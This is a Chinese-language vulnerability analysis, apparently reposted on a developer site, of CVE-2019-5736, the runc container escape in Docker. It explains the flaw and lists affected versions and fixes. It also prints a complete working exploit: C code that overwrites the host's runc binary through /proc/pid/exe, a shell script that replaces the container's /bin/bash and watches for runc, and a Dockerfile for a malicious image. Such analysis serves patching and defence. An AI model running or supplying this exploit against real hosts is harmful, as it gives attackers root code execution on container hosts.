内容简介:CVE-2019-5736runc是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI tool,目前Docker、Containerd和CRI-O等容器都运行在runc之上。
漏洞编号
CVE-2019-5736
漏洞简介
runc是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI tool,目前 Docker 、Containerd和CRI-O等容器都运行在runc之上。
该漏洞允许恶意容器(以最少的用户交互)覆盖主机上的runc二进制文件,从而获得root权限在主机上执行代码。
漏洞可能影响通过受影响版本Docker部署的应用、虚拟主机、云服务器。K8s集群,含有受影响runc版本的 Linux 发行版等。漏洞影响
- Ubuntu:runc 1.0.0~rc4+dfsg1-6ubuntu0.18.10.1之前版本
- Debian:runc 0.1.1+dfsg1-2 之前版本
- RedHat Enterprise Linux: docker 1.13.1-91.git07f3374.el7之前版本
- Amazon Linux:docker 18.06.1ce-7.25.amzn1.x86_64之前版本
- CoreOS:2051.0.0之前版本
- Kops Debian 所有版本(正在修复)
- Docker:18.09.2之前版本
利用条件
- 使用攻击者控制的镜像创建新容器
- 攻击者具有某容器的写入权限,通过docker exec进入容器中
环境搭建
- CentOS
- gcc make 等 C语言 编译环境
- Docker 18.09.0
补丁分析
可以看出补丁中增加了克隆二进制文件的相关处理,并且在 nsexec() 函数中增加了判断是否是克隆文件的逻辑,如果不是克隆文件则抛出错误并退出。
漏洞分析
Docker 提供 exec 命令方便用户在宿主机与容器进行交互。如通过 docker run exec -it < CONTAINER ID> /bin/bash ,可以进入容器在容器中执行命令,此命令实际上执行了容器中的 /bin/bash 文件。我们可以在容器内覆盖目标文件为 #!/proc/self/exe ,如下图所示:
又知Docker的很多操作都是通过runc去运行的,因此可以通过 docker exec 命令执行到被覆盖的目标文件,欺骗runc执行它自己。因此在容器外运行 docker run exec -it < CONTAINER ID> /bin/bash 会欺骗runc运行 /proc/self/exe (runc)如下图:
此时
/bin/bash 已经被替换,并且成功欺骗runc执行runc。但runc进程不会一直驻留,因此编写一个 Shell 代码测试。
while true; do
for f in $(ps -ef | awk '{print $2}'); do
cmdline=$(cat /proc/${f}/cmdline)
if [[ ${cmdline} == *runc* ]]; then
echo !!!!!!!!found runc in proc !!!!!!!!!!!!!
fi
done
done
在运行以上代码时通过 docker exec 执行容器中的 /bin/bash ,看到如下输出即说明欺骗成功:
此时由于runc在使用中,无法直接覆盖runc,因此需要使用C语言编写PoC。通过 O_PATH 标志,忽略权限打开runc所在 /proc/${pid}/exe 的二进制文件,获取其文件标识符 fd 。然后在从文件标识符中( /proc/self/fd/${fd} )以 O_WRONLY (只写)标志重新打开文件,然后在一个循环中重复尝试将Payload写入文件标识符中,写入成功后在runc退出的时候会覆盖宿主机上的runc文件。再次使用runc(执行 docker exec 等)即可执行恶意代码。
利用效果如下,在容器中执行Shell覆盖 /bin/bash 文件并监控进程:
在容器外执行容器内的 /bin/bash 后,容器内发现runc进程马上执行恶意代码写入Payload:
查看效果:
PoC
- 拥有
docker exec权限,可构造PoC如下:
payload.c
#include <stdio.h>
#include <unistd.h>
int main (int argc, char **argv) {
execl("/usr/bin/touch", "touch", "/hacked_by_Tunan", NULL);
return 0;
}
poc.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#define PAYLOAD_MAX_SIZE 1048576
#define O_PATH 010000000
#define SELF_FD_FMT "/proc/self/fd/%d"
int main(int argc, char **argv) {
int fd, ret;
char *payload, dest[512];
if (argc < 2) {
printf("usage: %s FILE\n", argv[0]);
return 1;
}
payload = malloc(PAYLOAD_MAX_SIZE);
if (payload == NULL) {
puts("Could not allocate memory for payload.");
return 2;
}
FILE *f = fopen("./payload", "r");
if (f == NULL) {
puts("Could not read payload file.\n");
return 3;
}
int payload_sz = fread(payload, 1, PAYLOAD_MAX_SIZE, f);
for (;;) {
fd = open(argv[1], O_PATH); // O_PATH打开文件不需要对文件有权限
if (fd >= 0) {
printf("Successfuly opened %s at fd %d\n", argv[1], fd);
snprintf(dest, 500, SELF_FD_FMT, fd);// 格式化字符串,将文件标识符写入dest中
puts(dest);// 写入缓冲区
int i;
for (i = 0; i < 9999999; i++) {
fd = open(dest, O_WRONLY | O_TRUNC); // 以只写的形式再次打开缓冲区中的内容,拿到fd(文件标识符)
if (fd >= 0) {
printf("Successfully openned runc binary as WRONLY\n");
ret = write(fd, payload, payload_sz); // 写入文件标识符
if (ret > 0) printf("Payload deployed\n");
break;
}
}
break;
}
}
return 0;
}
poc.sh
#!/bin/bash
function poc() {
echo '#!/proc/self/exe' > /bin/bash
chmod +x /bin/bash
while true; do
for pid in $(ps -ef | awk '{print $2}'); do
cmdline=$(cat /proc/${pid}/cmdline)
if [[ ${cmdline} == *runc* ]]; then
echo !!!!!!!!runc was found !!!!!!!!!!!!!
echo pid:${pid}
echo starting exploit
./poc /proc/${pid}/exe
echo finish! run docker exec -it <CONTAINER ID> /bin/bash to see the effect
fi
done
done
}
exec 2>/dev/null
poc
- 如果没有
docker exec权限,可构造恶意image,增加Dockerfile:
FROM ubuntu RUN apt-get update RUN apt-get install -y build-essential ADD . /poc WORKDIR /poc RUN make CMD ["./poc.sh"]
修复建议
- Docker:更新Docker到18.09.2及以上版本
- Ubuntu:更新runc到runc 1.0.0~rc4+dfsg1-6ubuntu0.18.10.1及以上版本
- Debian:更新runc到runc 0.1.1+dfsg1-2及以上版本
- CoreOS:更新到2051.0.0及以上版本
参考
[1] https://www.anquanke.com/post/id/170762
[2] https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b#diff-c76fda6ad413becbb91b3db6f99f0f31
[3] https://github.com/feexd/pocs/blob/master/CVE-2019-5736/exploit.c以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- VirtualBox VMSVGA多个虚拟机逃逸漏洞分析
- 利用Chromium漏洞夺取CTF胜利:VitualBox虚拟机逃逸漏洞分析(CVE-2019-2446)
- 容器逃逸成真:从 CTF 解题到 CVE-2019-5736 漏洞挖掘分析
- VirtualBox虚拟机最新逃逸漏洞E1000 0 day详细分析(上)
- VirtualBox虚拟机最新逃逸漏洞E1000 0day详细分析(下)
- 打破Docker:runC容器逃逸漏洞的深入分析及多种利用方法(CVE-2019-5736)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
JSP & Servlet学习笔记
【台湾】林信良 / 清华大学出版社 / 2012-5 / 58.00元
本书是作者多年来教学实践经验的总结,汇集了教学过程中学生在学习JSP & Servlet时遇到的概念、操作、应用或认证考试等问题及解决方案。 本书针对Servlet 3.0的新功能全面改版,无论是章节架构与范例程序代码,都做了全面更新。书中详细介绍了Servlet/ JSP与Web容器之间的关系,必要时从Tomcat源代码分析,了解Servlet/ JSP如何与容器互动。本书还涵盖了文本处理......一起来看看 《JSP & Servlet学习笔记》 这本书的介绍吧!
在线进制转换器
各进制数互转换器
HEX CMYK 转换工具
HEX CMYK 互转工具